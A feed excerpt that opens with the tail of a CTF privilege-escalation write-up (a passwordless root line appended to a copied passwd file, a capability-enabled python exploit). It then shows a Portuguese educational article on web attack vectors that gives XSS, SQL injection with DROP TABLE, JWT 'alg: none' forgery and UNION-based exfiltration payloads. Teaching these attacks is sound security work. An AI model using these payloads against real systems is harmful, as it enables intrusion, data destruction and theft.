&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'r00t::0:0:root:/root:/bin/bash'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /tmp/passwd_fake
 &lt;span class="nb"&gt;cat&lt;/span&gt; /tmp/passwd_fake
root:x:0:0:root:/root:/bin/bash
...
r00t::0:0:root:/root:/bin/bash

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Make sure that &lt;code&gt;passwd_fake&lt;/code&gt; was created:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /tmp/passwd_fake
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 Shanah Shanah 2073 Feb  7 22:07 /tmp/passwd_fake
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Triggering the exploit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/usr/local/bin/python3_cap /tmp/exploit.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  6. Root flag and conclusion
&lt;/h2&gt;

&lt;p&gt;Congratulations to us, now we are root too.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frjhk7jxi9kqeesbu18xw.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frjhk7jxi9kqeesbu18xw.jpeg" alt="R0ot.txt" width="567" height="478"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It’s my first text in English with a lot of mistakes, but I hope someone liked it. See you later guys!&lt;/p&gt;

</description>
      <category>hacking</category>
      <category>php</category>
      <category>node</category>
      <category>security</category>
    </item>
    <item>
      <title>Análise de Vetores de Ataque em Arquitetura de Aplicações Web</title>
      <dc:creator>Obtuosa</dc:creator>
      <pubDate>Sat, 22 Nov 2025 17:20:45 +0000</pubDate>
      <link>https://forem.com/obtuosa/analise-de-vetores-de-ataque-em-arquitetura-de-aplicacoes-web-393h</link>
      <guid>https://forem.com/obtuosa/analise-de-vetores-de-ataque-em-arquitetura-de-aplicacoes-web-393h</guid>
      <description>&lt;h2&gt;
  
  
  Resumo
&lt;/h2&gt;

&lt;p&gt;Este texto tem como proposta uma análise  aprofundada sobre a segurança de aplicações web, mas de uma perspectiva ofensiva. Através da &lt;strong&gt;arquitetura de três camadas&lt;/strong&gt; (Apresentação, Aplicação e Dados), comumente conhecido como &lt;strong&gt;Three Tier Architecture&lt;/strong&gt;, detalhando vetores de ataques específicos para cada camada com exemplos de código práticos. Além disso, também fornecer uma investigação de táticas, técnicas e procedimentos (TTPs) de grupos de Ameaça Persistente Avançada (APT), como o &lt;strong&gt;APT35&lt;/strong&gt;, esmiuçando tecnicamente um de seus ataques com exemplos de payloads e comandos. O texto também explora a importância da análise a partir do OWASP Top 10 que lista os dez riscos de segurança mais críticos e comuns em aplicações web. O objetivo é permitir uma visão técnica e estruturada, para aspirantes, entusiastas, profissionais e pesquisadores da área de segurança da informação interessados em vulnerabilidades em aplicações web e em um ciclo de ataque a partir da Matriz do &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Introdução
&lt;/h2&gt;

&lt;p&gt;A grande crescente de dependência de aplicações web para serviços críticos, tendo em vista que hoje tudo pode ser feito através do navegador tornou a segurança dessas aplicações um pilar fundamental da cibersegurança. Atacantes, desde indivíduos até mesmo grupos de Ameaça Persistente Avançada (APT), &lt;strong&gt;patrocinados muitas vezes por estados&lt;/strong&gt;, exploram vulnerabilidades em aplicações web para roubo de dados, espionagem, sabotagem, etc. &lt;strong&gt;Compreender a estrutura das aplicações web e como os(as) atacantes a manipulam é indispensável para a construção de defesas sólidas&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Este texto tenta aplicar uma visão ofensiva para dissecar a segurança de aplicações web. Deste modo, inicia-se com a análise da arquitetura de três camadas, um modelo predominante no mercado, e como cada camada pode apresentar uma superfície de ataque única, com exemplos de código que ilustram os ataques. A referência dessa análise é o OWASP Top 10 e a partir dele, construir uma ponte entre as vulnerabilidades em uma visão teórica e os ataques do mundo real, examinando estudos de caso de grupos APT.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Arquitetura de Três Camadas e Vetores de Ataque
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk3t3tq18ukef0ohirrq3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk3t3tq18ukef0ohirrq3.png" alt="Três camadas" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A arquitetura de três camadas é predominante em aplicações tradicionais de cliente-servidor e é dividida em três unidades lógicas: a camada de apresentação, camada de aplicação e camada de dados. Essa separação cria diferentes domínios de segurança.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.1. Camada de Apresentação (Presentation Layer)
&lt;/h3&gt;

&lt;p&gt;É a interface com o usuário no navegador, além de ser a camada de comunicação da aplicação no qual o usuário final interage. A princípio, seu objetivo é de exibir e coletar informações do usuário. Do ponto de vista de um invasor, esta camada é um alvo principal para ataques que focam o usuário.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.1.1. Cross-Site Scripting
&lt;/h3&gt;

&lt;p&gt;Cross-Site Scripting (XSS) é uma falha no sistema que possibilita o/a atacante injetar códigos maliciosos em páginas web. O OWASP classifica o XSS como uma forma de Injeção (A05:2025) e dialoga também com Configuração incorreta de segurança (A02:2025).&lt;/p&gt;

&lt;p&gt;Hodiernamente, WAFs (Firewalls de Aplicações Web) e frameworks modernos (React, Angular, Django, etc.) já possuem mecanismos que bloqueiam XSS tradicionais (como o clássico &lt;code&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt;). Logo, os ataques também mudaram de lugar, muitos agora exploram contextos específicos, validação incompleta de entrada e renderização dinâmica no cliente (DOM XSS).&lt;/p&gt;

&lt;p&gt;Imagine uma rede social onde os usuários podem editar a sua biografia, algo bastante comum em diversos ambientes online, como o X/Twitter, Facebook e Instagram. Neste ponto, é possível inserir um texto formatado, seja em negrito, com links, emojis, etc.&lt;/p&gt;

&lt;p&gt;A partir dessa contextualização, em um cenário de rede social que usa um editor de texto, por exemplo, e salva o conteúdo HTML diretamente no banco de dados, quando esse perfil é renderizado, o HTML vem direto da base e é inserido na página, com algo assim:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&amp;lt;div &lt;span class="nv"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"bio"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
  &amp;lt;p&amp;gt;Olá, me chamo Pedroca e quero fazer novas amizades😎&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Só que nesse processo de inspecionar o HTML e observar como o sistema lida com esse conteúdo após recebe-lo, principalmente sobre como o valor do campo é armazenado e renderizado depois no site,  o/a atacante percebe que o campo aceita algumas tags HTML. Ele/Ela tenta inserir um conteúdo aparentemente inofensivo, mas com comportamento malicioso.&lt;/p&gt;

&lt;p&gt;O/A invasor(a) insere na biografia:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&amp;lt;p&amp;gt;Olá, me chamo Pedroca e quero fazer novas amizades😎&amp;lt;/p&amp;gt;
&amp;lt;img &lt;span class="nv"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"https://pedrocanews.com/imagem.png"&lt;/span&gt; &lt;span class="nv"&gt;onmouseover&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"alert('XSS by Pedroca')"&lt;/span&gt; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E nesse contexto, nem sempre as WAFs conseguem ser acionadas, porque não usa a tag &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; diretamente, além de parecer legítimo, porque &lt;a href="" class="article-body-image-wrapper"&gt;&lt;img&gt;&lt;/a&gt; é uma tag comum e a execução acaba dependendo de um evento do DOM (Modelo de Objeto de Documento) e quando outro usuário passa o mouse sobre a imagem, o Javascript é executado, com isso ocorre uma execução arbitrária dentro do domínio do site.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.2. Camada de Aplicação
&lt;/h3&gt;

&lt;p&gt;A camada de aplicação é basicamente a parte central, pois processa a lógica de negócios. É talvez o alvo mais almejado e rico para intrusos(as) que buscam comprometer a funcionalidade principal, além de também incluir, excluir ou modificar informações da camada de dados.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.2.1. Injeção de SQL (SQLi)
&lt;/h3&gt;

&lt;p&gt;A injeção de SQL ocorre quando um adversário insere uma consulta SQL maliciosa. É uma das vulnerabilidades mais perigosas, categorizada como Quebra de controle de acesso (A01:2025),  Configuração incorreta de segurança (A02:2025) e Injeção (A05:2025) pelo OWASP, no entanto, muitas aplicações não montam mais queries SQL “na mão”. Hoje, usam &lt;strong&gt;ORMS&lt;/strong&gt; (Object-Relational Mappers) que criam uma ponte entre o banco de dados e uma aplicação orientada a objetos. Por consequência, o SQLi não é mais só concatenar string, porque por padrão, usam consultas parametrizadas (prepared statements), que separam os dados da lógica da consulta, tornando a injeção mais “tradicional” quase impossível.&lt;/p&gt;

&lt;p&gt;Em um cenário prático, onde supostamente uma API de busca está vulnerável, a mesma aceita parâmetros de entrada do usuário e os passa diretamente para um ORM sem qualquer validação adequada permitindo que os invasores manipulem consultas ao banco de dados. Portanto, ocorre uma injeção via ORM.&lt;/p&gt;

&lt;p&gt;O Back end expõe o endpoint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;GET /api/users?sort_by&lt;span class="o"&gt;=&lt;/span&gt;name&amp;amp;order&lt;span class="o"&gt;=&lt;/span&gt;asc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O desenvolvedor escreve o código, que está em Node.js com Sequelize:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;const sortBy &lt;span class="o"&gt;=&lt;/span&gt; req.query.sort_by&lt;span class="p"&gt;;&lt;/span&gt; 
const order &lt;span class="o"&gt;=&lt;/span&gt; req.query.order&lt;span class="p"&gt;;&lt;/span&gt;   

User.findAll&lt;span class="o"&gt;({&lt;/span&gt;
  order: &lt;span class="o"&gt;[[&lt;/span&gt;sortBy, order]]
&lt;span class="o"&gt;})&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Em uma primeira análise, aparenta ser seguro, tendo em vista que o ORM “escapa” parâmetros. mas o problema é que não escapa identificadores (colunas), e como o &lt;code&gt;sortBy&lt;/code&gt; vai direto para query, o intruso(a) controla parte da estrutura SQL e então o atacante envia:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;GET /api/users?sort_by&lt;span class="o"&gt;=&lt;/span&gt;name&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;DROP TABLE &lt;span class="nb"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A query interna se transforma em algo parecido com:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;SELECT &lt;span class="k"&gt;*&lt;/span&gt; FROM &lt;span class="nb"&gt;users &lt;/span&gt;ORDER BY name&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;DROP TABLE &lt;span class="nb"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ou seja, se o ORM não sanitiza adequadamente os nomes de coluna, essa instrução extra pode ser interpretada, e mesmo com WAFs, esse tipo de ataque pode acabar passando, pois o payload não contém palavras-chave simples como &lt;code&gt;‘ OR 1=1;&lt;/code&gt; , além de ser possível também codificar essas requisições.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.2.2. Quebra de Autenticação
&lt;/h3&gt;

&lt;p&gt;Quebra de autenticação são falhas que permitem a atacantes comprometerem contas de usuários e interage com Quebra de controle de acesso (A01:2025), Configuração incorreta de segurança (A02:2025) e Falhas de autenticação (A07:2025) do OWASP.&lt;/p&gt;

&lt;p&gt;Outro ponto importante é que se utiliza muito os tokens para autenticação via API, no lugar de cookies e sessões, como por exemplo o &lt;strong&gt;JWT&lt;/strong&gt; (JSON Web Token) e apesar do uso de tokens, algumas novas formas de falhas surgiram em virtude do mau uso deles.&lt;/p&gt;

&lt;p&gt;Imagine uma aplicação que gera tokens JWT mal configurados:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;const jwt &lt;span class="o"&gt;=&lt;/span&gt; require&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'jsonwebtoken'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
const token &lt;span class="o"&gt;=&lt;/span&gt; jwt.sign&lt;span class="o"&gt;({&lt;/span&gt; user: username, role: &lt;span class="s1"&gt;'user'&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;, &lt;span class="s1"&gt;'chave-secreta'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;e valida dessa forma:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;jwt.verify&lt;span class="o"&gt;(&lt;/span&gt;token, &lt;span class="s1"&gt;'chave-secreta'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Neste ponto, o Back end acaba aceitando tokens sem checar o algoritmo usado e em uma exploração, onde um invasor cria um token com o algoritmo “none”, acaba forçando o servidor a não verificar assinatura:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"alg"&lt;/span&gt;: &lt;span class="s2"&gt;"none"&lt;/span&gt;,
  &lt;span class="s2"&gt;"typ"&lt;/span&gt;: &lt;span class="s2"&gt;"JWT"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"user"&lt;/span&gt;: &lt;span class="s2"&gt;"pedroca"&lt;/span&gt;,
  &lt;span class="s2"&gt;"role"&lt;/span&gt;: &lt;span class="s2"&gt;"admin"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Como resultado, o back end confia no token mascarado, concedendo acesso administrativo. Apesar da falha “alg: none” ser antiga, alguns sistemas ainda são vulneráveis, principalmente por usar serviços intermediários (API Gateways, proxies) que só verificam formato e não a assinatura.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.3. Camada de Dados (Data Layer)
&lt;/h3&gt;

&lt;p&gt;A camada de dados é a camada na qual as informações processadas pela aplicação são armazenadas e gerenciadas.  A aplicação basicamente persiste, busca e processa as informações cŕiticas. Quando por exemplo, a camada de aplicação é vulnerável a Injeção SQL, um atacante pode acabar usando dessa falha para exfiltrar dados diretamente do banco.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.3.1 Exfiltração de Dados via SQLi
&lt;/h3&gt;

&lt;p&gt;Exfiltração de dados via SQLi  é quando um atacante pode usar da vulnerabilidade de injeção SQL para retirar dados diretamente do banco de dados. Pode ser categorizada nas mesmas dinâmicas da Injeção de SQL quanto ao OWASP, já que nasce a partir dela.&lt;/p&gt;

&lt;p&gt;Em uma aplicação de e-commerce com um determinado endpoint de busca:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;GET /api/products?category&lt;span class="o"&gt;=&lt;/span&gt;iphone
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O back end executa uma query dessa forma:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;price&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;products&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;category&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'iphone'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A pessoa que está desenvolvendo confia plenamente no parâmetro &lt;code&gt;category&lt;/code&gt; e apenas insere ele na query, mas um atacante consegue perceber isso e começa a explorar, ainda que tenha que passar pelos WAFs e logs que filtram strings simples como &lt;code&gt;‘ OR 1=1&lt;/code&gt;  ou &lt;code&gt;UNION SELECT&lt;/code&gt; .&lt;/p&gt;

&lt;p&gt;O atacante insere a clássica aspas simples:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;products&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;category&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;iphone&lt;/span&gt;&lt;span class="s1"&gt;'

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O back end acaba retornando erro de SQL e cria brechas para a exploração. Uma das diversas técnicas é a injeção UNION-Based.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="s1"&gt;' UNION SELECT username, email FROM users--

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Essa query faz com que o sistema combine os resultados da tabela users com os da tabela products. O servidor caso seja possível burlar as camadas de segurança retorna algo como:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;"pedroca"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;"price"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;"pedroca@example.com"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;"admin"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;"price"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;"admin@example.com"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Esse tipo de ataque funciona porque o banco de dados acaba sendo compartilhado entre diferentes áreas da aplicação, e a query é montada de forma concatenada, sem uso de parâmetros. Hoje WAFs detectam &lt;code&gt;UNION SELECT&lt;/code&gt; literal, então os invasores tentam disfarçar a consulta de alguma forma, seja com encoding, comentários in-line, etc.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Ameaças Persistente Avançadas (APTs)
&lt;/h2&gt;

&lt;p&gt;Uma &lt;strong&gt;Ameaça Persistente Avançada (APT)&lt;/strong&gt; é um tipo de ataque mais sofisticado e longo, no qual um agente de ameaça, geralmente um &lt;strong&gt;estado-nação&lt;/strong&gt; ou um grupo que seja patrocinado por ele, realiza ataques que obtém acesso não autorizado, sendo as aplicações web vetores de entrada bastante comuns e permanecem indetectado por um longo período. O objetivo principal dessas ações, é justamente roubo de dados sensíveis, espionagem, sabotagem de sistemas, etc.&lt;/p&gt;

&lt;p&gt;O termo “APT” é definido através de três características fundamentais:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Avançada (Advanced)&lt;/strong&gt;: Os invasores utilizam de um leque completo de ferramentas e técnicas, que podem incluir desde exploração de vulnerabilidades &lt;strong&gt;zero day&lt;/strong&gt;, &lt;strong&gt;engenharia social&lt;/strong&gt; muito bem direcionada *&lt;strong&gt;*e **malwares&lt;/strong&gt; bem objetivos.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Persistente (Persistent)&lt;/strong&gt;: Neste ponto o invasor consegue manter um &lt;strong&gt;canal de comando e controle&lt;/strong&gt; (Command and Control - C2) contínuo com um dos ou o sistema comprometido, garantindo o acesso, mesmo depois de uma possível detecção e remoção, por exemplo de um malware. É possível também muitas vezes, a depender do escopo dos objetivos traçados, que acabe retornando novamente ao sistema.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ameaça (Threat)&lt;/strong&gt;: Esse ataque é orquestrado por grupos de agente de ameaça, organizado e motivado, com recursos significativos e objetivos muito bem definidos, como governos, grandes corporações ou infraestruturas críticas.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  3.1. Grupos de APT e suas táticas
&lt;/h3&gt;

&lt;p&gt;Os Grupos de APT são categorizados por agências de inteligência e empresas de segurança cibernética, muitas vezes recebem nomes a partir de taxonomia e identificadores alfanuméricos, como no caso do framework &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;, que é uma referência essencial para compreender as táticas e técnicas usadas por esses grupos.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.1.1 Táticas, Técnicas e Procedimentos (TTPs) de APTs
&lt;/h3&gt;

&lt;p&gt;As &lt;strong&gt;Táticas, Técnicas e Procedimentos (TTPs)&lt;/strong&gt; representam a forma de agir de um APT, detalhando desde o “por quê”, “como” e o “o quê” de suas ações. O ciclo de vida de um ataque APT é normalmente dividido em fases, e o framework &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; fornece a taxonomia mais aceita atualmente para descrever as TTPs em cada fase.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.1.2. O Ciclo de Vida do Ataque e o MITRE ATT&amp;amp;CK
&lt;/h3&gt;

&lt;p&gt;O ciclo de vida de um ataque APT é um processo multifacetado e contínuo, que se relaciona diretamente com as &lt;strong&gt;Táticas&lt;/strong&gt; do MITRE ATT&amp;amp;CK. Essas táticas representam o objetivo do adversário/a em cada estágio do ataque.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F77smrisay8zm1fhfztah.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F77smrisay8zm1fhfztah.png" alt="Matriz" width="800" height="443"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Reconhecimento - Reconnaissance (TA0043)&lt;/strong&gt;: O invasor reúne informações que podem ser usadas para planejar operações futuras, coletando ativa ou passivamente informações que podem ser usadas para apoiar a definição de alvos.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Desenvolvimento de Recursos - Resource Development (TA0042)&lt;/strong&gt;: O invasor tenta estabelecer recursos que podem ser usados para apoiar as operações, seja criando, comprando ou comprometendo/roubando recursos que podem ser usados para apoiar o direcionamento. Esses recursos incluem infraestrutura , contas ou recursos.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Acesso Inicial - Initial Access (TA0001)&lt;/strong&gt;: Consiste em técnicas que utilizam vários vetores de entrada para obter um acesso inicial dentro de uma rede. &lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Evasão de Defesa - Defense Evasion (TA0005)&lt;/strong&gt;: Os atacantes usam técnicas para evitar a detecção durante todo o processo de comprometimento.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Descoberta - Discovery (TA0007)&lt;/strong&gt; - O atacante tenta obter o máximo de conhecimento possível sobre o sistema e a rede interna.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Execução - Execution (TA0002)&lt;/strong&gt;: Consiste em técnicas que resultam na execução de código controlado pelo adversário em um sistema local ou remoto.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Escalação de Privilégios - Privilege Escalation (TA0004)&lt;/strong&gt;: As técnicas consistem em tentar obter permissões maiores em um sistema ou rede, como um root por exemplo.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Persistência - Persistence (TA0003)&lt;/strong&gt;: Os adversários utilizam técnicas para manter o acesso aos sistemas após reinicializações, alterações de credenciais e outras formas de interrupções que poderiam cortar o seu acesso.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Movimento Lateral - Lateral Movement (TA0008)&lt;/strong&gt;: O adversário tenta ampliar seu campo de ataque e atingir mais sistemas em uma rede.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Comando e controle - Command and Control C2 (TA0011)&lt;/strong&gt;:  O atacante tenta se comunicar com sistemas comprometidos para controlá-los.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Exfiltração - Exfiltration (TA0010)&lt;/strong&gt;: Os adversários se utilizam de técnicas para roubar dados da rede invadida.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Impacto - Impact (TA0040)&lt;/strong&gt;: O adversário tenta manipular, interromper ou destruir os sistemas e dados de um alvo. O impacto consiste em utilizar técnicas que possam interromper a disponibilidade ou comprometer a integridade, manipulando processos comerciais e operacionais.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  3.1.3. Técnicas e Procedimentos
&lt;/h3&gt;

&lt;p&gt;As &lt;strong&gt;Técnicas&lt;/strong&gt; no MITRE ATT&amp;amp;CK descrevem “como” o adversário atinge um objetivo tático ( o “ por que”). &lt;/p&gt;

